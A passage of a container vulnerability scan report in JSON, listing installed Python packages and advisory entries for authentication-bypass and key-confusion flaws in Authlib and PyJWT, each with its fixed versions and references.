"pkg:pypi/youtubeaio@2.1.2", "UID": "997d10da49b76b5b" }, "Version": "2.1.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/youtubeaio-2.1.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "yt-dlp", "Identifier": { "PURL": "pkg:pypi/yt-dlp@2026.3.17", "UID": "47b8fec27e3c44d6" }, "Version": "2026.3.17", "Licenses": [ "Unlicense" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/yt_dlp-2026.3.17.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "yt-dlp-ejs", "Identifier": { "PURL": "pkg:pypi/yt-dlp-ejs@0.8.0", "UID": "47c3682ec7e0b797" }, "Version": "0.8.0", "Licenses": [ "Unlicense AND MIT AND ISC" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/yt_dlp_ejs-0.8.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "zabbix-utils", "Identifier": { "PURL": "pkg:pypi/zabbix-utils@2.0.4", "UID": "c4789e6a0ad87386" }, "Version": "2.0.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/zabbix_utils-2.0.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "zamg", "Identifier": { "PURL": "pkg:pypi/zamg@0.3.6", "UID": "5f539a49608727c4" }, "Version": "0.3.6", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/zamg-0.3.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "zcc_helper", "Identifier": { "PURL": "pkg:pypi/zcc-helper@3.8", "UID": "990fc69ae80452b" }, "Version": "3.8", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/zcc_helper-3.8.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "zeep", "Identifier": { "PURL": "pkg:pypi/zeep@4.3.3", "UID": "d1347d179d42feae" }, "Version": "4.3.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/zeep-4.3.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "zeroconf", "Identifier": { "PURL": "pkg:pypi/zeroconf@0.150.0", "UID": "c9a5e9ca61f4910" }, "Version": "0.150.0", "Licenses": [ "LGPL-2.1-or-later" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/zeroconf-0.150.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "zeversolar", "Identifier": { "PURL": "pkg:pypi/zeversolar@0.3.2", "UID": "cad06f2dce1d3366" }, "Version": "0.3.2", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/zeversolar-0.3.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "zha", "Identifier": { "PURL": "pkg:pypi/zha@2.0.0", "UID": "2dc6bb3a6c383bbf" }, "Version": "2.0.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/zha-2.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "zha-quirks", "Identifier": { "PURL": "pkg:pypi/zha-quirks@2.1.1", "UID": "a184fae8c8f97936" }, "Version": "2.1.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/zha_quirks-2.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "zhong-hong-hvac", "Identifier": { "PURL": "pkg:pypi/zhong-hong-hvac@1.0.13", "UID": "be5283540205eb8d" }, "Version": "1.0.13", "Licenses": [ "Apache-2.0", "Other/Proprietary License" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/zhong_hong_hvac-1.0.13.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "ziggo-mediabox-xl", "Identifier": { "PURL": "pkg:pypi/ziggo-mediabox-xl@1.1.0", "UID": "fb242b25b15a6a9e" }, "Version": "1.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/ziggo_mediabox_xl-1.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "zigpy", "Identifier": { "PURL": "pkg:pypi/zigpy@2.0.0", "UID": "b6cf29f66695a9" }, "Version": "2.0.0", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/zigpy-2.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "zigpy-deconz", "Identifier": { "PURL": "pkg:pypi/zigpy-deconz@0.25.5", "UID": "c28e144674b17ff7" }, "Version": "0.25.5", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/zigpy_deconz-0.25.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "zigpy-xbee", "Identifier": { "PURL": "pkg:pypi/zigpy-xbee@0.21.1", "UID": "a777d0f3b0536e37" }, "Version": "0.21.1", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/zigpy_xbee-0.21.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "zigpy-zigate", "Identifier": { "PURL": "pkg:pypi/zigpy-zigate@0.14.0", "UID": "e6693ce30efc2757" }, "Version": "0.14.0", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/zigpy_zigate-0.14.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "zigpy-ziggurat", "Identifier": { "PURL": "pkg:pypi/zigpy-ziggurat@1.0.1", "UID": "47243c9867466fa9" }, "Version": "1.0.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/zigpy_ziggurat-1.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "zigpy-znp", "Identifier": { "PURL": "pkg:pypi/zigpy-znp@1.1.0", "UID": "84a1ee2073e1b171" }, "Version": "1.1.0", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/zigpy_znp-1.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "zinvolt", "Identifier": { "PURL": "pkg:pypi/zinvolt@1.0.0", "UID": "4a493275a01c89fc" }, "Version": "1.0.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/zinvolt-1.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "zipp", "Identifier": { "PURL": "pkg:pypi/zipp@3.23.0", "UID": "4cb88e4392ceaac8" }, "Version": "3.23.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/setuptools/_vendor/zipp-3.23.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "zm-py", "Identifier": { "PURL": "pkg:pypi/zm-py@0.5.4", "UID": "dc02c96b87f55c87" }, "Version": "0.5.4", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/zm_py-0.5.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "zwave-js-server-python", "Identifier": { "PURL": "pkg:pypi/zwave-js-server-python@0.72.0", "UID": "f9b2c57fb67511b3" }, "Version": "0.72.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/zwave_js_server_python-0.72.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "zwave-me-ws", "Identifier": { "PURL": "pkg:pypi/zwave-me-ws@0.4.3", "UID": "10692d2ac0d26c41" }, "Version": "0.4.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/zwave_me_ws-0.4.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" } ], "Vulnerabilities": [ { "VulnerabilityID": "CVE-2026-96760", "VendorIDs": [ "GHSA-6v38-4h7w-rj9h" ], "PkgName": "Authlib", "PkgPath": "usr/local/lib/python3.14/site-packages/authlib-1.7.2.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/authlib@1.7.2", "UID": "9b724f1f7c07e47" }, "InstalledVersion": "1.7.2", "FixedVersion": "1.9.0", "Status": "fixed", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-96760", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:f7fdd6452d4e3f24fbc2f71a716f6a75ffebe24c288407de90b1fbc9920ed220", "Title": "authlib: authlib: Signature verification bypass via deserialize_json", "Description": "Authlib (v1.7.2 and below) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.", "Severity": "CRITICAL", "CweIDs": [ "CWE-20", "CWE-347", "CWE-358", "CWE-670" ], "VendorSeverity": { "ghsa": 4, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-96760", "https://advisory.echohq.com/cve/CVE-2026-96760", "https://github.com/authlib/authlib", "https://github.com/authlib/authlib/commit/6c11a02da8730914cea08ec195f1108a40dc6733", "https://github.com/authlib/authlib/pull/938", "https://github.com/authlib/authlib/releases/tag/v1.9.0", "https://github.com/authlib/authlib/security/advisories/GHSA-6v38-4h7w-rj9h", "https://kb.cert.org/vuls/id/762428", "https://nvd.nist.gov/vuln/detail/CVE-2026-96760", "https://www.cve.org/CVERecord?id=CVE-2026-96760", "https://www.kb.cert.org/vuls/id/762428" ], "PublishedDate": "2026-09-28T20:17:11.703Z", "LastModifiedDate": "2026-10-01T14:17:32.147Z" }, { "VulnerabilityID": "CVE-2026-114615", "VendorIDs": [ "GHSA-7vr2-2fgp-9w7p" ], "PkgName": "Authlib", "PkgPath": "usr/local/lib/python3.14/site-packages/authlib-1.7.2.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/authlib@1.7.2", "UID": "9b724f1f7c07e47" }, "InstalledVersion": "1.7.2", "FixedVersion": "1.9.0", "Status": "fixed", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-114615", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:806d095824430ac72616a055b08bc508c8b56c977cd41b815dd9623f4723a3da", "Title": "authlib: Authlib: Authentication bypass via improper asymmetric key validation", "Description": "Authlib is a Python library which builds OAuth and OpenID Connect servers. From 1.3.1 until 1.9.0, OctKey.import_key() checks asymmetric-key markers only at byte zero while Authlib's PEM loaders accept leading whitespace, comments, or a byte-order mark. In deployments that use the documented mixed algorithm registry and already configure verification with PEM or certificate bytes containing such a prefix, an unauthenticated attacker who knows those same public-key bytes can use them as an HMAC secret and forge HS256 tokens with arbitrary identity or authorization claims. This is a bypass of the remediation for CVE-2024-37568. The module-level jwt object reaches OctKey.import_key() in authlib/jose/rfc7518/oct_key.py, where POSSIBLE_UNSAFE_KEYS fails to identify prefixed asymmetric key material. This issue is fixed in version 1.9.0.", "Severity": "HIGH", "CweIDs": [ "CWE-184", "CWE-347" ], "VendorSeverity": { "ghsa": 3, "nvd": 4, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-114615", "https://advisory.echohq.com/cve/CVE-2026-114615", "https://github.com/authlib/authlib", "https://github.com/authlib/authlib/commit/e3bd41cb29dcfee434453b135ffb487884baeedf", "https://github.com/authlib/authlib/pull/945", "https://github.com/authlib/authlib/releases/tag/v1.9.0", "https://github.com/authlib/authlib/security/advisories/GHSA-7vr2-2fgp-9w7p", "https://nvd.nist.gov/vuln/detail/CVE-2026-114615", "https://www.cve.org/CVERecord?id=CVE-2026-114615" ], "PublishedDate": "2026-10-22T22:18:04.257Z", "LastModifiedDate": "2026-10-29T14:50:19.033Z" }, { "VulnerabilityID": "CVE-2026-114616", "VendorIDs": [ "GHSA-8m4g-j4wp-wgcg" ], "PkgName": "Authlib", "PkgPath": "usr/local/lib/python3.14/site-packages/authlib-1.7.2.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/authlib@1.7.2", "UID": "9b724f1f7c07e47" }, "InstalledVersion": "1.7.2", "FixedVersion": "1.9.1", "Status": "fixed", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-114616", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:30ceeb7385b5b6427f1f5580308645e33ca35e34565e086be6feb179c1766686", "Title": "authlib: authlib: Authentication bypass via zero-length HMAC key", "Description": "Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to 1.9.1, Authlib's OctKey.import_key() and HMAC signing and verification path accept zero-length key material. If an application's secret lookup can return an empty string or empty bytes, a remote attacker can compute the deterministic HS256, HS384, or HS512 signature for arbitrary token claims and have Authlib treat the token as authentic. This issue is fixed in version 1.9.1.", "Severity": "HIGH", "CweIDs": [ "CWE-287", "CWE-326", "CWE-1391" ], "VendorSeverity": { "ghsa": 3, "nvd": 4, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-114616", "https://advisory.echohq.com/cve/CVE-2026-114616", "https://github.com/authlib/authlib", "https://github.com/authlib/authlib/commit/4ff30db442c70e29486e1982cb0ad37c037f5f4b", "https://github.com/authlib/authlib/releases/tag/v1.9.1", "https://github.com/authlib/authlib/security/advisories/GHSA-8m4g-j4wp-wgcg", "https://nvd.nist.gov/vuln/detail/CVE-2026-114616", "https://www.cve.org/CVERecord?id=CVE-2026-114616" ], "PublishedDate": "2026-10-22T22:18:04.42Z", "LastModifiedDate": "2026-10-30T20:17:00.643Z" }, { "VulnerabilityID": "CVE-2026-116672", "VendorIDs": [ "GHSA-c73q-w75p-j82v" ], "PkgName": "Authlib", "PkgPath": "usr/local/lib/python3.14/site-packages/authlib-1.7.2.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/authlib@1.7.2", "UID": "9b724f1f7c07e47" }, "InstalledVersion": "1.7.2", "FixedVersion": "1.9.1", "Status": "fixed", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-116672", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:3771ce3fafbbd847524b83cdb6d1b39d56c3add9c913e1a9a942cf361558141f", "Title": "authlib: authlib: Authorization bypass via missing client token verification", "Description": "Authlib is a Python library which builds OAuth and OpenID Connect servers. From 0.15 until 1.9.1, the documented ClientConfigurationEndpoint.authenticate_client and ClientConfigurationEndpoint.check_permission reference implementations look up a target client from request-controlled client_id data and check only whether that target is editable, without verifying that request.credential belongs to the target client. Deployments following both examples can allow a client holding any valid registration access token to read, modify, or delete another client's registration. Changing redirect_uris can enable authorization code or token interception, while deleting registrations can deny service to affected clients. This issue is fixed in version 1.9.1.", "Severity": "HIGH", "CweIDs": [ "CWE-639", "CWE-1188" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-116672", "https://advisory.echohq.com/cve/CVE-2026-116672", "https://github.com/authlib/authlib", "https://github.com/authlib/authlib/commit/1bd2a313492ce0a4d0571c150730907aa3fc91ff", "https://github.com/authlib/authlib/releases/tag/v1.9.1", "https://github.com/authlib/authlib/security/advisories/GHSA-c73q-w75p-j82v", "https://nvd.nist.gov/vuln/detail/CVE-2026-116672", "https://www.cve.org/CVERecord?id=CVE-2026-116672" ], "PublishedDate": "2026-10-27T17:16:59.14Z", "LastModifiedDate": "2026-10-30T21:16:50.993Z" }, { "VulnerabilityID": "CVE-2026-102268", "VendorIDs": [ "GHSA-ffc3-869f-jxw9" ], "PkgName": "PyJWT", "PkgPath": "usr/local/lib/python3.14/site-packages/pyjwt-2.12.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pyjwt@2.12.1", "UID": "d40f4444c982700a" }, "InstalledVersion": "2.12.1", "FixedVersion": "2.14.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-102268", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:0d7b116f96619907f916b9558e3826cbd75cf90ab6283105984fbe9b16b3c1a3", "Title": "pyjwt: PyJWT: Authentication bypass via improper public key validation", "Description": "PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, is_pem_format in jwt/utils.py is affected because is_pem_format does not recognize every PEM representation accepted by the cryptography loader. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a mutated public-key PEM as raw key bytes. As a result, HMACAlgorithm.prepare_key treats the unrecognized asymmetric public key as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.", "Severity": "CRITICAL", "CweIDs": [ "CWE-347" ], "VendorSeverity": { "alma": 4, "amazon": 3, "azure": 4, "ghsa": 4, "oracle-oval": 4, "photon": 4, "redhat": 4, "rocky": 4, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 9.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:94500", "https://access.redhat.com/security/cve/CVE-2026-102268", "https://advisory.echohq.com/cve/CVE-2026-102268", "https://bugzilla.redhat.com/2542671", "https://bugzilla.redhat.com/2542685", "https://bugzilla.redhat.com/2542687", "https://bugzilla.redhat.com/2542690", "https://bugzilla.redhat.com/2542695", "https://bugzilla.redhat.com/show_bug.cgi?id=2542671", "https://bugzilla.redhat.com/show_bug.cgi?id=2542685", "https://bugzilla.redhat.com/show_bug.cgi?id=2542687", "https://bugzilla.redhat.com/show_bug.cgi?id=2542690", "https://bugzilla.redhat.com/show_bug.cgi?id=2542695", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102267", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102268", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102271", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102272", "https://errata.almalinux.org/9/ALSA-2026-94500.html", "https://errata.rockylinux.org/RLSA-2026:94500", "https://github.com/jpadilla/pyjwt", "https://github.com/jpadilla/pyjwt/commit/8b4e233a22206b34ec1186e912e75c0b2396ac07", "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0", "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-ffc3-869f-jxw9", "https://linux.oracle.com/cve/CVE-2026-102268.html", "https://linux.oracle.com/errata/ELSA-2026-94501.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-102268", "https://ubuntu.com/security/notices/USN-8916-1", "https://ubuntu.com/security/notices/USN-8916-2", "https://www.cve.org/CVERecord?id=CVE-2026-102268" ], "PublishedDate": "2026-09-28T21:17:14.6Z", "LastModifiedDate": "2026-10-07T20:25:03.03Z" }, { "VulnerabilityID": "CVE-2026-102267", "VendorIDs": [ "GHSA-9v7f-9g4p-ffgj" ], "PkgName": "PyJWT", "PkgPath": "usr/local/lib/python3.14/site-packages/pyjwt-2.12.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pyjwt@2.12.1", "UID": "d40f4444c982700a" }, "InstalledVersion": "2.12.1", "FixedVersion": "2.14.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-102267", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:cc540cd5e2102fc0d91b778312058abb6490c0f2353a22e2969a752ca5fe89f8", "Title": "pyjwt: pyjwt: Verification key substitution via unvalidated JWKS redirects", "Description": "PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT PyJWKClient is affected because redirect destinations are not revalidated against the JWKS trust boundary. This occurs when a configured trusted JWKS endpoint returns an attacker-influenced redirect. As a result, PyJWKClient follows the redirect and consumes the redirected response as key material. Consequently, forwarded credentials may be disclosed or verification keys may be substituted. This issue is fixed in version 2.14.0.", "Severity": "HIGH", "CweIDs": [ "CWE-200", "CWE-345", "CWE-918" ], "VendorSeverity": { "alma": 4, "amazon": 3, "azure": 3, "ghsa": 3, "nvd": 4, "oracle-oval": 4, "photon": 4, "redhat": 3, "rocky": 4, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:94500", "https://access.redhat.com/security/cve/CVE-2026-102267", "https://advisory.echohq.com/cve/CVE-2026-102267", "https://bugzilla.redhat.com/2542671", "https://bugzilla.redhat.com/2542685", "https://bugzilla.redhat.com/2542687", "https://bugzilla.redhat.com/2542690", "https://bugzilla.redhat.com/2542695", "https://bugzilla.redhat.com/show_bug.cgi?id=2542671", "https://bugzilla.redhat.com/show_bug.cgi?id=2542685", "https://bugzilla.redhat.com/show_bug.cgi?id=2542687", "https://bugzilla.redhat.com/show_bug.cgi?id=2542690", "https://bugzilla.redhat.com/show_bug.cgi?id=2542695", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102267", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102268", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102271", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102272", "https://errata.almalinux.org/9/ALSA-2026-94500.html", "https://errata.rockylinux.org/RLSA-2026:94500", "https://github.com/jpadilla/pyjwt", "https://github.com/jpadilla/pyjwt/commit/0a795b8e1f6ef08f634aa7086fc41cc6d5ce3e56", "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0", "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-9v7f-9g4p-ffgj", "https://linux.oracle.com/cve/CVE-2026-102267.html", "https://linux.oracle.com/errata/ELSA-2026-94501.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-102267", "https://ubuntu.com/security/notices/USN-8916-1", "https://ubuntu.com/security/notices/USN-8916-2", "https://www.cve.org/CVERecord?id=CVE-2026-102267" ], "PublishedDate": "2026-09-28T21:17:14.43Z", "LastModifiedDate": "2026-10-07T20:27:45.713Z" }, { "VulnerabilityID": "CVE-2026-102271", "VendorIDs": [ "GHSA-p4g4-x82p-q773" ], "PkgName": "PyJWT", "PkgPath": "usr/local/lib/python3.14/site-packages/pyjwt-2.12.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pyjwt@2.12.1", "UID": "d40f4444c982700a" }, "InstalledVersion": "2.12.1", "FixedVersion": "2.14.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-102271", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:8ce91a17d05a42327d0f16c331530d3aeed8fdf6b9619af413077e609e50e1b6", "Title": "pyjwt: PyJWT: Authentication bypass via acceptance of DER public keys as HMAC secrets", "Description": "PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC 